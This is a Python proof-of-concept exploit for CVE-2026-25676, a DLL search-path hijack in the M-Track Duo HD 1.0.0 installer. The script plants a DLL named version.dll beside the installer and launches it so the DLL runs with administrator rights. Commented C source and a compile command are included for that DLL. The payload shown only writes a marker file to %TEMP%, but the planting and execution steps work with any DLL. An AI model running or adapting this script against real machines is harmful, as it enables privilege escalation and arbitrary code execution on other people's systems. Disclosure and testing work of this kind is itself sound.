#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PoC for CVE-2026-25676 (DLL Search Path Hijacking in M-Track Duo HD 1.0.0 installer)
Author: Nexxus67
Description: This script generates a malicious DLL that, when loaded by the vulnerable
installer (executed with administrator privileges), creates a proof file in %TEMP%
to demonstrate arbitrary code execution.
Usage: python poc_cve-2026-25676.py <path_to_installer> [dll_name]
"""

import sys
import base64
import subprocess
import tempfile
from pathlib import Path

# ------------------------------------------------------------
# Embedded malicious DLL (32-bit version, compiled with MinGW)
# Source code (dll.c):
# #include <windows.h>
# #include <stdio.h>
# BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
#     if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
#         char tempPath[MAX_PATH];
#         char filePath[MAX_PATH];
#         if (GetTempPathA(MAX_PATH, tempPath)) {
#             snprintf(filePath, MAX_PATH, "%s\\poc_cve-2026-25676.txt", tempPath);
#             HANDLE hFile = CreateFileA(filePath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
#             if (hFile != INVALID_HANDLE_VALUE) {
#                 const char *msg = "Hijacked by CVE-2026-25676 PoC";
#                 DWORD written;
#                 WriteFile(hFile, msg, strlen(msg), &written, NULL);
#                 CloseHandle(hFile);
#             }
#         }
#     }
#     return TRUE;
# }
# Compilation: i686-w64-mingw32-gcc -shared -o malicious.dll dll.c
# ------------------------------------------------------------
DLL_BASE64 = """<PASTE BASE64-ENCODED DLL HERE>"""
# Replace the line above with the actual DLL content encoded in base64.
# To generate the string, compile the DLL and run in Python:
# with open("malicious.dll", "rb") as f: print(base64.b64encode(f.read()).decode())
# Paste the resulting long line above.
# ------------------------------------------------------------

def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <path_to_installer> [dll_name]")
        print("Example: python poc.py M-Track_Duo_HD_1.0.0.exe version.dll")
        sys.exit(1)

    installer_path = Path(sys.argv[1])
    if not installer_path.is_file():
        print(f"Error: Installer not found at {installer_path}")
        sys.exit(1)

    # DLL name to create (default: version.dll)
    dll_name = sys.argv[2] if len(sys.argv) > 2 else "version.dll"
    dll_path = installer_path.parent / dll_name

    # 1. Write the malicious DLL
    print(f"[*] Creating malicious DLL at {dll_path} ...")
    try:
        dll_data = base64.b64decode(DLL_BASE64)
        with open(dll_path, "wb") as f:
            f.write(dll_data)
    except Exception as e:
        print(f"[-] Error writing DLL: {e}")
        sys.exit(1)

    # 2. Execute the installer (UAC prompt may appear)
    print("[*] Running the installer. Accept the UAC prompt if it appears...")
    try:
        subprocess.run([str(installer_path)], check=True)
    except subprocess.CalledProcessError as e:
        print(f"[!] Installer exited with code {e.returncode} (this may be expected if the DLL is invalid)")

    # 3. Verify proof of execution
    temp_dir = tempfile.gettempdir()
    proof_file = Path(temp_dir) / "poc_cve-2026-25676.txt"
    if proof_file.is_file():
        print(f"[+] SUCCESS: Proof file found at {proof_file}")
        print("    Content:", proof_file.read_text())
        # Optional cleanup
        # proof_file.unlink()
    else:
        print("[-] Proof file not detected. Possible reasons:")
        print("    - Incorrect DLL name.")
        print("    - Installer did not load the DLL.")
        print("    - Architecture mismatch (32-bit vs 64-bit).")
        print("    - Security controls blocked execution.")

    # 4. Cleanup DLL (optional)
    try:
        dll_path.unlink()
        print("[*] Malicious DLL removed.")
    except:
        pass

if __name__ == "__main__":
    main()